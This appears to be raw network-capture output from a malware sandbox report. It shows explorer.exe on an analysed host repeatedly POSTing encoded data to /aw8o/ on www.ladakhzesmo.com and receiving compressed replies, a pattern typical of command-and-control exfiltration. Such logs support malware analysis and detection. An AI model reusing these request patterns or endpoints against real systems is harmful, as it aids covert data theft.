Aug 29, 2023 22:45:57.422089100 CEST	1029	IN	Data Raw: 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 34 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 34 70 78 Data Ascii: .footer-links { padding: 14px 0; margin: 14px 0; border-top: 1px solid #F3F4F7; border-bottom: 1px solid #F3F4F7; } } </style></head><body><header>
Aug 29, 2023 22:45:57.465153933 CEST	1030	IN	Data Raw: 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 62 65 76 65 6c 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 Data Ascii: troke-linejoin="bevel"/> <path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M248.358 132.645L251.526 132.541L261.769 137.465L309.277 133.838L321.829 125.218L308.12 118.684L260.612 122.311L251.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	50008	119.18.54.51	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:02.907435894 CEST	1088	OUT	POST /aw8o/ HTTP/1.1 Host: www.ladakhzesmo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ladakhzesmo.com Referer: http://www.ladakhzesmo.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 46 61 4b 46 50 67 75 51 54 33 78 35 43 31 4d 64 79 6d 4a 6a 2b 6c 48 2b 33 4e 4a 35 6e 4a 57 49 46 6e 61 68 50 2b 48 35 42 7a 66 70 51 55 59 49 48 51 52 47 52 32 36 4f 4b 4b 69 42 4e 56 5a 54 39 6e 50 38 52 7a 46 45 53 38 2f 77 46 4a 71 70 61 50 30 6f 59 74 45 43 5a 50 2b 31 6b 52 4a 41 6a 62 2f 77 76 75 69 55 6c 33 35 75 4f 6f 39 32 75 2f 69 64 6e 54 31 58 54 42 73 4a 37 39 63 61 76 4e 34 47 6d 68 61 48 4b 61 49 45 4c 68 51 48 65 34 4c 71 49 70 49 33 66 44 36 57 33 6b 36 2f 6e 61 4b 2f 6d 54 45 44 42 75 74 75 71 6d 49 57 51 3d 3d Data Ascii: 5Nag0d=EFaKFPguQT3x5C1MdymJj+lH+3NJ5nJWIFnahP+H5BzfpQUYIHQRGR26OKKiBNVZT9nP8RzFES8/wFJqpaP0oYtECZP+1kRJAjb/wvuiUl35uOo92u/idnT1XTBsJ79cavN4GmhaHKaIELhQHe4LqIpI3fD6W3k6/naK/mTEDButuqmIWQ==
Aug 29, 2023 22:46:05.862665892 CEST	1091	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:46:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec b2 69 73 a3 c8 b6 05 fa f9 75 44 ff 07 8a 8e e3 b2 4f db 32 a0 c1 92 5d aa be 9a d0 64 4d 08 90 44 47 87 23 21 93 41 8c 82 44 48 72 fb bf bf 4c 0d b6 5c e5 ea 3e f7 be db 6f 88 78 ae 28 01 7b 58 7b ef b5 d6 97 4f cd 51 43 5e 8c 5b 8c 8d 7d 8f 19 2b f5 c7 6e 83 61 6f 6e 6f 67 f9 c6 ed 6d 53 6e 32 1d 79 f0 c8 14 72 1c 7f 7b db 1a b2 0c 6b 63 1c dd df de 66 59 96 cb f2 b9 30 b6 6e 65 e9 96 76 17 6e 13 1c 3b 06 ce 41 0c d9 af 3f ff f4 85 06 f7 4f 04 e0 d7 2f 89 11 3b 11 fe ea 98 97 9f 58 0b 46 71 2d 8a 3c 07 25 6d 2f d4 81 e7 6d 59 c6 09 98 cc 09 60 98 5d 3d 1f 9e b9 0f ca aa 38 4e d1 0b 05 b9 64 0d 3f 7a 72 e0 79 e3 9f 7f 1e 3b 0f a9 2f fc 2b d4 21 50 e5 ce 5a 0d f8 be f9 5d 2d 4d 56 59 81 37 a1 01 04 a1 cc 97 f3 79 f6 ac 37 02 31 f0 93 1f 76 1f d2 55 f6 bc c5 0e 13 fc c3 06 9a ac b2 20 07 91 e7 ac 51 bc cd 19 61 90 a0 00 fb 20 00 16 8a 73 01 c2 ec bb d5 83 bf d8 3c a8 b2 e4 e7 6f 20 a2 38 c4 e1 8f 0f a0 d9 ea 5e eb e4 fe dd e4 10 a2 24 36 7e 3c fd 90 af b2 3c fb 72 16 b6 10 4e d2 28 0a 63 8c e0 23 08 ac a4 6a a6 81 81 9d 30 b8 bc 7a 5e 83 98 d1 ab bf b3 cd 16 7b cd 12 8f 5d b3 a2 44 7e ba 32 f9 19 8e c8 4f b3 46 63 5d 9a 9d 92 9f 31 4d 48 34 51 6f d3 18 fd 6c 3d 92 9f 36 ad eb d0 de 47 95 fe d0 c4 60 8f 42 b3 63 fa 33 a5 89 69 9f fe d0 cf 06 c5 eb 28 14 8f fe 4c 69 af d6 21 3f 32 7d 53 68 5d 8d be d5 a7 ec 1f 0f 84 85 03 07 69 82 43 df 23 67 a4 84 d9 77 2e 78 36 c3 f8 92 de 03 aa dc 03 f8 72 4e cc fb a6 9c 87 02 0b db 0f e0 d7 5f af 9e f5 5c 94 26 f6 e5 8f ab 7f 07 7f e4 bc 1c 0e 95 28 42 71 03 24 e8 f2 ea ea e5 25 46 38 8d 03 46 7f 79 78 cf b4 24 3f 7e c8 31 20 1c 93 6b fe 7b 87 e8 e4 10 fd 3f 38 44 a7 87 50 e0 f8 0c e6 c3 5b f4 3f 2e 2e fe 32 9d 8b af 9e c1 df 52 42 ea 3c 42 c2 89 05 f0 2d 0b b4 f2 8d 81 e5 7e 39 bc 8d 50 68 92 8f 4f 55 56 0f 43 0f 81 80 bd 7a 5e 56 71 9c 22 6a f2 e5 c5 c5 b1 e4 0c 24 97 26 08 d2 97 ab 6a 95 4d 70 ec 04 16 7b 71 f1 51 c1 27 52 40 f0 8e 1b 7d 54 f1 42 29 b5 aa ef 37 4d d2 28 0a 63 8c e0 5e b5 cb ab 07 5a 64 54 7f ff 63 ff 62 56 bd d0 00 f4 88 9c 0d 12 7b 1f 43 6f b1 04 81 d8 38 44 41 95 7d af 65 00 d6 8e 05 70 18 ff f6 fa 96 7b ad b8 ff 7d 6f 04 33 47 76 41 9b d1 c1 12 7b d2 58 42 cf 0d 7f f5 6c 1c 34 30 73 49 aa 93 bb 3f 2e fd b5 7c 2d 5c 7d 6b 4d e4 25 88 f2 8d fe 16 1c 9d c0 3f 2c fd 4b f0 bd 85 93 03 c1 67 9e 7b 67 ae 63 fa d3 5e 17 e3 3b 4f 1d d3 3f 9a 00 8e e6 fe ca 5d 3d 9b 61 7c 49 49 86 55 ee 01 7e 39 65 1e 20 b5 fd 11 18 fc 0e ff a0 8e 7c a1 56 7a 95 e2 bd 12 af c5 df 2b 72 b5 6f 23 4e 89 1f ff d3 d6 f3 e2 ab bd b7 6c 72 e9 c3 fb 5d 8d 77 bb d2 b8 5e 35 c8 aa ef af a6 5e b0 5e 35 d0 8f 2a d9 55 fd 41 8f 11 70 e9 6e fa 9b 44 37 27 19 f5 aa 7e 52 90 23 5a bd fc 0d 0a cd db 55 b2 e3 c5 05 de 46 28 34 2f a9 0c d6 51 06 88 4c 90 7a fb f7 2b 52 44 40 1d 22 ed c5 c5 0f 6a 3e 55 f7 b2 c6 08 a7 71 c0 fc a0 e8 55 4c fb 50 4d 08 6a 0d d9 97 17 bb 6a 7f 43 c0 11 c7 7e 79 b8 34 d3 c0 Data Ascii: 1faaisuDO2]dMDG#!ADHrL\>ox({X{OQC^[}+naonogmSn2yr{kcfY0nevn;A?O/;XFq-<%m/mY`]=8Nd?zry;/+!PZ]-MVY7y71vU Qa s<o 8^$6~<<rN(c#j0z^{]D~2OFc]1MH4Qol=6G`Bc3i(Li!?2}Sh]iC#gw.x6rN_\&(Bq$%F8Fyx$?~1 k{?8DP[?..2RB<B-~9PhOUVCz^Vq"j$&jMp{qQ'R@}TB)7M(c^ZdTcbV{Co8DA}ep{}o3GvA{XBl40sI?.\|-\}kM%?,Kg{gc^;O?]=a\|IIU~9e \|Vz+ro#Nlr]w^5^^5*UApnD7'~R#ZUF(4/QLz+RD@"j>UqULPMjjC~y4
Aug 29, 2023 22:46:05.862749100 CEST	1092	IN	Data Raw: c0 4e 18 5c 1e f8 4a ab 30 34 52 1f 05 f8 81 7e ae ab 69 8e 4c 6a 79 88 86 92 fa 56 06 d6 10 f8 e8 e1 20 c0 c1 5f fb 8f 90 aa 71 60 9c 7d 42 01 fb 70 b2 ad 75 66 5b fb ea 39 24 cb 9c 85 2f a9 e7 1f c3 ec 5c 9b 7d 9b 91 26 38 f4 4f 86 49 4e ed 27 Data Ascii: N\J04R~iLjyV _q`}Bpuf[9$/\}&8OIN'WD7'(#gZ,=(=5\|9ql.kt .;V9@0g~5s4OV=&6B^z=h`_1wkA(qx=k
Aug 29, 2023 22:46:05.862804890 CEST	1094	IN	Data Raw: 57 ef 34 48 70 aa bf a9 70 b8 0c 54 41 6c ed 45 48 1e 9e 9e 48 55 0e 54 8f cf 3f ff fc fd 0f 3a f7 13 38 e1 3e 1f 70 99 63 c1 e1 4e 52 01 7e e7 fe a8 12 01 22 b2 07 d1 60 1f e1 69 44 b8 7a 06 bf 0b 7f 5c 3e 5b 30 8a 6b 51 e4 39 28 b9 3f 7b 6f 7b Data Ascii: W4HppTAlEHHUT?:8>pcNR~"`iDz\>[0kQ9(?{o{N}MC7Sptk:I)h;8!BN`ick(~!tG\:M2wdwc#\&1P^akMytyJ}1cZ
Aug 29, 2023 22:46:05.862859011 CEST	1095	IN	Data Raw: c6 d1 fd ed 2d da 44 5e 18 23 33 46 28 46 49 ea e1 24 67 84 fe 6d b4 c9 2d 93 df 0c bb ca b3 5f ff 09 58 e1 3f 86 fd 6a a6 81 81 9d 30 60 6c 10 40 0f d5 ea e3 26 c2 c8 c0 97 57 cf 38 de 3e 53 fa c9 f1 57 4c 8c 70 1a 07 0f 94 0c c7 b7 bc d0 62 aa Data Ascii: -D^#3F(FI$gm-_X?j0`l@&W8>SWLpbG1<D.YR@/%xU6L@lSTp";Tmd)wS\dMi[`!/Dnw33RKE@,Mqyn yMMBai@
Aug 29, 2023 22:46:05.862911940 CEST	1096	IN	Data Raw: 24 f8 9a c9 c5 c8 03 18 c1 ef 52 cf c4 91 31 44 f1 69 45 ee 2f a7 32 9e f3 63 f3 1c 84 36 42 2f 24 3e ff c5 dc ff 3d ec ab 80 e7 58 84 41 0f 99 f8 21 23 e3 6e b2 18 10 f6 f4 18 01 f7 86 06 1e 8e 4b c4 00 3a 69 42 90 8a 94 f9 43 f0 9e 49 42 cf 81 Data Ascii: $R1DiE/2c6B/$>=XA!#nK:iBCIB"K;9Ub'C5x~;#P3g<`~tvi]G3`pB9#o\|t9Fr++\qf(71L'*$vG72$bpbxB
Aug 29, 2023 22:46:05.862965107 CEST	1098	IN	Data Raw: f9 cd c9 f0 fc 9d 50 28 80 87 43 f9 0d d5 25 4d 8e 77 fe 27 73 08 fb a7 23 99 42 85 5c 59 a2 a7 ee df 84 e2 3b ae 8e 02 f1 f9 68 f3 0a 1c 3b 6b 60 6c 9f 0f 54 dc e0 30 ba a7 92 1d d3 64 ca a9 00 a3 0d be 01 9e 63 11 be 0c e2 1b 14 ff 87 bb 9d 8d Data Ascii: P(C%Mw's#B\Y;h;k`lT0dcB'3._c:cFecbI\|}m'Kw<^}Ord30t3iG;\|SpZ?jqs\!Kx[15=0K,\|
Aug 29, 2023 22:46:05.863059998 CEST	1098	IN	Data Raw: fa 52 98 96 76 bb 65 a3 f7 98 ce a4 44 e6 0d 2c eb c5 f2 a0 91 99 c0 ee d8 36 a8 2d 5a e5 52 b9 36 df 6a 75 2d e8 34 c8 0e 83 55 bd 70 b7 44 ab 11 0e 6a e1 e3 a3 d8 bf ab 75 5b 7c d0 5c a5 88 ab 09 bb 79 c9 aa 71 6a 8d 97 47 ad 3b a4 29 93 a1 90 Data Ascii: RveD,6-ZR6ju-4UpDju[\|\yqjG;)rvGl8,r-ufm89JB&#rW20~IvdO'a\F>(>@IeW0?n?uaRq50lFaWh(q~]!@w
Aug 29, 2023 22:46:05.891349077 CEST	1100	IN	Data Raw: 32 36 32 62 0d 0a e2 c8 14 f8 5d 25 ff 68 d5 3a b0 54 76 e2 01 19 b3 2b ae 3b dd bb 41 0d d3 fd 77 33 52 1a e9 58 99 eb 79 af b0 ca 2b ed dd 63 a3 b5 11 fc 71 ba 02 71 ab e3 ca 7e 6d 56 a6 e6 aa 29 a5 50 f4 d7 e1 5c 54 13 a5 f2 28 ae 17 ad 42 32 Data Ascii: 262b]%h:Tv+;Aw3RXy+cqq~mV)P\T(B2Ie{<"ru=[I8DdIw36s,CC0jM($+lG#ZY$yNg&^K\|BP5755Va/5A}V).Vi0y/F4UTLK
Aug 29, 2023 22:46:05.891426086 CEST	1101	IN	Data Raw: 35 1f 92 60 f9 6e 68 ef f2 e2 d2 29 0f d4 be b2 ac ec 56 c8 a5 ad 72 7d 50 69 62 ec 82 de 86 7c 96 22 7e 3d ee 49 82 b2 29 a8 e3 bb 41 36 1f c8 c8 17 6b 5a b8 76 16 cd 19 bc d8 a2 a8 1a 4c 5a 52 de 31 7d 29 4c 4b bb dd b2 d1 7b 4c 67 52 22 f3 06 Data Ascii: 5`nh)Vr}Pib\|"~=I)A6kZvLZR1})LK{LgR"byL`wlr\otd^[Q->hRd8PHCNPvo[QjCS^]mxM6\|A9r:I6%E!nKGY?x$bPQxWz#oVI
Aug 29, 2023 22:46:05.891483068 CEST	1102	IN	Data Raw: 63 5b b9 d3 8a 95 52 39 dd c5 cd 42 cd 19 f5 ac a4 9e 8e 95 12 dc a6 e2 08 50 8b 6c cb 96 64 c5 41 a3 e5 dc 49 a9 6d 7b b1 e9 69 e3 15 67 75 1f 5b 77 b3 b4 30 f5 51 13 2b cb 81 35 84 b5 b2 51 14 f3 f3 51 51 d3 1e 5b 19 e2 26 e5 72 43 6d 6c 4b dc Data Ascii: c[R9BPldAIm{igu[w0Q+5QQQ[&rCmlKf 'z?^n1_\A5F`nBO"(cH)B]+pU9NmGA)4)N6f.#)3#kDZe]u1V\D^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	50009	119.18.54.51	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:05.552242994 CEST	1090	OUT	POST /aw8o/ HTTP/1.1 Host: www.ladakhzesmo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ladakhzesmo.com Referer: http://www.ladakhzesmo.com/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 46 61 4b 46 50 67 75 51 54 33 78 34 69 6c 4d 65 52 2b 4a 6c 65 6c 49 37 33 4e 4a 7a 48 4a 61 49 46 72 61 68 4c 48 63 35 30 62 66 70 79 63 59 50 47 51 52 46 52 32 36 47 71 4c 6f 50 74 56 73 54 39 72 74 38 54 6e 46 45 57 55 2f 78 30 70 71 73 71 50 37 77 49 74 44 56 70 50 7a 78 6b 52 54 41 6a 58 4a 77 75 4b 69 55 31 4c 35 76 49 38 39 67 76 2f 68 57 6e 54 33 44 6a 42 6a 48 62 39 57 61 76 49 46 47 6e 6f 76 48 38 36 49 46 71 42 51 47 65 34 49 67 34 70 50 2f 2f 44 74 5a 55 39 31 36 58 71 70 2b 31 4f 39 62 67 44 71 75 70 37 55 4b 5a 54 47 53 67 65 47 61 75 78 72 2f 6a 5a 4d 66 70 5a 4e 64 75 48 32 55 61 68 39 55 6c 6e 7a 58 63 31 6c 47 63 4a 37 59 63 4d 4a 6b 6a 7a 71 2b 59 6e 4c 31 58 2b 4c 64 50 6b 53 62 6f 71 49 73 75 66 45 77 39 74 49 53 59 6b 32 72 6d 61 2b 77 56 6a 6c 45 31 4f 38 78 65 67 62 6d 68 59 2b 48 73 77 62 65 4c 63 47 36 41 35 48 53 30 57 69 7a 6c 4d 44 6b 51 66 35 67 6e 74 78 35 58 75 77 2b 30 69 6b 55 76 76 6e 50 53 75 37 30 4e 73 61 69 65 6d 41 75 37 39 42 48 39 55 66 2f 34 62 61 36 72 6e 6c 51 47 32 47 59 72 70 4d 30 6b 2b 7a 53 55 7a 72 78 47 4a 39 50 52 46 61 32 51 53 52 5a 6b 34 6a 33 49 79 6a 4d 79 38 39 4e 71 65 78 54 6b 75 62 44 33 64 79 30 50 50 4c 48 4a 69 77 49 58 47 43 50 5a 53 37 57 46 48 73 50 59 43 42 2b 6c 33 62 42 66 54 74 37 6b 2f 76 55 4a 67 4d 53 62 64 77 51 52 4b 66 66 73 44 63 74 2b 4f 67 4c 69 65 31 73 4a 63 79 36 44 32 39 47 75 6b 4a 50 74 75 68 6c 68 78 56 75 78 43 31 58 6b 6d 57 79 48 39 4f 33 6a 76 38 57 6e 35 57 4f 75 34 46 31 6a 47 58 34 71 30 43 44 53 57 67 6d 2f 6c 51 65 6f 5a 36 61 66 55 3d Data Ascii: 5Nag0d=EFaKFPguQT3x4ilMeR+JlelI73NJzHJaIFrahLHc50bfpycYPGQRFR26GqLoPtVsT9rt8TnFEWU/x0pqsqP7wItDVpPzxkRTAjXJwuKiU1L5vI89gv/hWnT3DjBjHb9WavIFGnovH86IFqBQGe4Ig4pP//DtZU916Xqp+1O9bgDqup7UKZTGSgeGauxr/jZMfpZNduH2Uah9UlnzXc1lGcJ7YcMJkjzq+YnL1X+LdPkSboqIsufEw9tISYk2rma+wVjlE1O8xegbmhY+HswbeLcG6A5HS0WizlMDkQf5gntx5Xuw+0ikUvvnPSu70NsaiemAu79BH9Uf/4ba6rnlQG2GYrpM0k+zSUzrxGJ9PRFa2QSRZk4j3IyjMy89NqexTkubD3dy0PPLHJiwIXGCPZS7WFHsPYCB+l3bBfTt7k/vUJgMSbdwQRKffsDct+OgLie1sJcy6D29GukJPtuhlhxVuxC1XkmWyH9O3jv8Wn5WOu4F1jGX4q0CDSWgm/lQeoZ6afU=
Aug 29, 2023 22:46:07.481139898 CEST	1104	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:46:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1220 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 52 5d 73 da 38 14 7d cf 4c ff 83 e2 99 ed c0 a4 d8 7c 95 94 82 e9 98 0f b7 10 08 e0 f0 99 97 8c 90 65 24 10 b6 22 c9 d8 90 c9 7f 5f 3b a4 69 9a b6 bb fb b2 7a f0 e8 9e 7b 7d ee d5 b9 e7 dd 19 48 4e fd bc 3d 6c 4d 96 a3 0e 20 6a c7 c0 68 da ec 77 5b 40 cb 19 c6 bc d4 32 8c f6 a4 0d 16 df 26 83 3e 28 e8 79 30 11 d0 97 54 d1 c0 87 cc 30 3a d7 da bb 27 8e f4 68 44 29 fe d9 30 a2 28 d2 a3 92 1e 88 b5 31 71 8c 38 25 2d a4 2c cf d7 9c 7a 45 a1 bb ca d5 1a 27 8e fa 53 7b 17 2a 98 83 ee 8a 05 68 bb c5 07 53 1b d8 51 d4 1e 2f 7b 57 c1 6d 97 ec d1 b5 35 ee 34 9b 63 ab 7d 13 59 d1 8d d5 6b 5a 57 8b cb 32 8d f9 71 76 58 ac 7a 5c a0 be b7 fa 56 e6 72 54 be e8 17 b1 af ee 05 cd b3 23 a9 f0 ad 05 17 fd 51 17 21 b6 af b4 c7 4d dc eb 6d be da 73 d1 ec da 95 f1 e0 60 47 8b c9 c7 56 cb 39 6c 6e 8a 1c fb 9d 96 15 75 2c 6b 6c 9a 77 ce ad 13 17 ae 8e f1 b0 f0 a9 c5 8a d6 a0 ba e8 4f 47 95 0b 76 59 a9 ee 47 c8 2b 78 63 35 e8 5c 7a fe 76 b1 58 96 d6 a2 3f 99 4c 9d cd 3d ec 79 3d 5e 32 70 57 3a d3 5d 05 59 e3 7e c5 ad 54 da de 70 69 5c cc 79 64 99 a6 06 e2 1d f3 a5 f9 1b dd 0a d5 6a f5 24 d7 0f 71 30 74 1b a0 2e 91 a0 5c 01 75 e0 d8 d4 14 8e 95 b1 81 7b 78 42 b5 c6 1e 0a 00 57 bc 56 37 4e 48 e3 9f eb 81 14 e8 a5 3d 8e 39 0b 04 f6 04 c6 02 cb 90 29 a9 a3 60 67 f0 58 df c8 2f 88 98 05 ad f1 7f d0 16 ff 33 6d c3 0b 7d 94 da 06 10 e8 bb 0c 5b cd 51 1b 2b 8c 54 26 fb a0 c4 e1 81 7a 99 f3 e4 f1 59 20 b0 0a 85 5f 4b c5 a0 bb 35 0b d6 c0 04 6e 80 c2 5d e2 06 1d 09 0c 15 ee 30 9c 46 19 2d 29 d0 b2 b5 53 99 2e d5 81 61 9d 60 ba 26 ca d4 f2 3c d6 7e ce 44 d4 55 e4 4d e2 df 9f 2a b7 b9 a4 32 99 4c 2a a8 42 a9 73 c2 bf 40 d3 dd 38 47 78 74 8b 70 63 d3 e1 3c fa 38 5c f4 ee 6f a6 a8 38 9d c6 85 e9 71 a6 c6 f3 5b 32 2b f0 70 9c e7 a5 81 7d eb c0 39 89 66 73 b7 e5 74 d4 60 b5 48 6e 3e 99 e2 49 22 c3 dc 6e bb 33 db 59 cd f8 d2 c9 df 1e 57 1d be bf 69 bb e5 e1 d7 02 1b 6c e3 b2 33 2f d8 d3 a9 33 9e 6d 95 8d 4a 83 e2 b5 cf 09 ea a8 68 39 57 57 37 a5 eb ee 24 bf 8d 56 45 79 b8 ca ab fc 6c b1 2c 4c 4b eb fd f2 38 88 dc e2 b6 e8 74 aa 23 78 b4 cc f7 2b 53 bb 48 7d f5 a2 e2 2a 70 0f 3a e4 1c fb 6e 8b 50 e6 66 4e 72 24 4a 7a 99 74 7b 81 97 fa 10 8b 50 30 70 6e 9a 40 0b 7d 17 7b d4 c7 ae 06 de bf 7f c9 9d 9b 9a 96 8d a8 ef 06 91 ae 02 ae b3 00 c1 74 c3 e6 f7 82 da 63 02 20 92 c1 42 64 1f 1e 1f 5f 9c f2 ee 0c 3c 9f fa 0e 2b 08 d2 0d e4 f0 7d 48 f7 a6 d6 0a 7c 95 cc 98 9b 24 73 68 00 9d a2 67 3b 11 b5 63 35 80 08 14 12 2b 33 54 5e ee 93 66 fc c2 e6 c3 5d e2 bf 3d c5 11 0f 84 7a c5 71 32 80 8b f7 14 e1 dc 53 f0 01 50 9f 2a 0a 59 4e 22 c8 b0 59 f8 00 42 89 c5 53 04 57 09 e0 07 40 12 41 fd 6d 4e 05 39 8f aa 04 d0 5e 37 64 49 0a 90 c4 35 27 1b c9 c4 47 5e d2 4e ea eb 20 58 33 0c 39 3d b9 08 49 f9 c5 83 3b ca 0e e6 28 e0 9c fa f2 73 29 9f d7 12 b3 33 53 7b b2 a7 24 18 ab 9f b8 15 55 0c 37 18 74 e1 96 1c b1 dc 05 29 53 dd 38 c1 6f 67 78 4b f4 3c 94 61 50 1d b9 3e 87 62 fb 34 87 22 78 87 a5 21 f0 9a 4a 25 a0 Data Ascii: R]s8}L\|e$"_;iz{}HN=lM jhw[@2&>(y0T0:'hD)0(1q8%-,zE'S{hSQ/{Wm54c}YkZW2qvXz\VrT#Q!Mms`GV9lnu,klwOGvYG+xc5\zvX?L=y=^2pW:]Y~Tpi\ydj$q0t.\u{xBWV7NH=9)`gX/3m}[Q+T&zY _K5n]0F-)S.a`&<~DUM2LBs@8Gxtpc<8\o8q[2+p}9fst`Hn>I"n3YWil3/3mJh9WW7$VEyl,LK8t#x+SH}p:nPfNr$Jzt{P0pn@}{tc Bd_<+}H\|$shg;c5+3T^f]=zq2SP*YN"YBSW@AmN9^7dI5'G^N X39=I;(s)3S{$U7t)S8ogxK<aP>b4"x!J%
Aug 29, 2023 22:46:07.481223106 CEST	1104	IN	Data Raw: 30 ca 9f aa d5 ca a5 9e cc a7 81 d7 52 9e 6e 75 83 60 e8 3e c3 f5 d4 36 cf f7 d7 df fa 69 ab 20 75 ce f3 a2 36 70 0f 4f a8 d6 d8 43 01 50 ba 13 90 18 e9 d4 4e ab 81 14 95 5b b1 26 8c a7 f8 21 ee 5e 4f ab 7b 48 8e a5 6f 8b 0d 19 3a 90 c6 21 1f 78 Data Ascii: 0Rnu`>6i u6pOCPN[&!^O{Ho:!xPQ^Gby\mFqe7QDzGww!7>Wy~/,.&QO:$L2O]F45/e$3#"x2YLcC97

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	50010	119.18.54.51	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:08.207137108 CEST	1114	OUT	POST /aw8o/ HTTP/1.1 Host: www.ladakhzesmo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ladakhzesmo.com Referer: http://www.ladakhzesmo.com/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 46 61 4b 46 50 67 75 51 54 33 78 34 69 6c 4d 65 52 2b 4a 6c 65 6c 49 37 33 4e 4a 7a 48 4a 61 49 46 72 61 68 4c 48 63 35 30 44 66 70 41 6b 59 50 6c 34 52 45 52 32 36 5a 61 4c 72 50 74 56 4c 54 39 7a 70 38 54 72 2f 45 55 63 2f 77 6e 68 71 72 66 37 37 6c 34 74 43 62 4a 50 78 31 6b 52 48 41 6a 61 4b 77 75 75 59 55 6c 2f 35 75 50 59 39 33 4e 58 69 4a 48 54 31 44 6a 42 5a 55 4c 39 67 61 76 45 72 47 6e 6b 76 48 36 69 49 45 59 4a 51 46 4e 51 49 70 49 70 4d 78 66 44 6f 58 30 39 51 36 58 75 58 2b 31 50 4b 62 69 76 71 75 75 50 55 4c 65 48 46 58 77 65 47 5a 75 78 6f 79 44 56 49 66 70 74 56 64 74 62 32 55 59 78 39 53 46 6e 7a 48 4a 5a 71 45 38 4a 35 54 38 4d 65 67 6a 32 70 2b 59 44 31 31 56 79 4c 63 2f 67 53 62 5a 71 49 67 73 33 45 75 4e 74 4b 64 34 6b 44 77 57 61 69 77 56 79 4d 45 31 76 42 78 64 73 62 67 44 51 2b 43 49 45 63 4a 62 64 4e 6d 51 35 57 59 55 61 75 7a 6b 39 63 6b 51 66 70 67 6d 35 78 35 6b 6d 77 35 78 43 6e 56 66 76 73 4a 53 75 75 39 74 77 51 69 64 53 49 75 37 6b 47 48 2b 59 66 77 34 62 61 2f 4b 6e 71 48 47 32 42 56 4c 6f 54 37 45 2b 6b 53 55 33 4a 78 43 78 74 50 6e 78 61 6b 51 69 52 64 30 34 73 38 49 79 76 43 53 38 37 4a 71 65 78 54 6b 53 70 44 33 52 79 30 36 72 4c 47 2b 47 77 5a 6b 75 43 4e 5a 54 77 57 46 47 67 50 59 2b 36 2b 6a 76 31 42 66 44 44 37 6d 7a 76 56 59 77 4d 56 5a 6c 33 62 42 4b 65 4a 63 44 4c 70 2b 43 33 4c 6a 79 48 73 4a 4d 69 36 52 69 39 48 75 55 4a 4c 74 75 69 67 42 78 57 72 78 43 76 54 6b 69 43 79 44 56 34 33 67 79 6e 57 6e 52 57 4f 6f 39 4e 74 41 79 56 6e 49 6b 71 4a 6b 4b 49 6b 63 78 45 50 37 74 45 48 6f 34 76 42 46 66 33 46 6f 4d 4e 75 31 4b 70 6b 68 47 32 56 41 62 4e 31 59 55 54 73 77 69 70 68 68 44 6b 45 68 77 6c 58 63 79 63 4e 64 78 76 4e 66 51 42 77 32 4e 67 72 35 58 6f 6b 54 6b 72 31 53 43 4e 68 31 4a 6d 64 54 75 37 72 6f 46 2b 61 75 47 6d 78 46 2b 2b 38 5a 39 79 47 6b 33 79 68 55 41 73 65 6c 76 78 33 79 37 36 4f 50 62 76 6b 48 61 33 56 6e 62 2f 45 5a 75 66 68 59 46 30 6e 64 59 45 6e 6c 41 55 75 72 71 36 41 45 63 75 2b 2f 50 4b 73 2f 75 2b 44 6a 77 74 35 31 57 30 41 76 4c 33 58 71 4c 34 73 44 43 4d 44 32 67 36 32 54 32 4b 65 4c 41 65 73 6c 45 4d 49 2b 37 70 66 58 61 47 7a 50 47 63 67 48 36 38 2f 53 4e 47 32 42 44 36 54 47 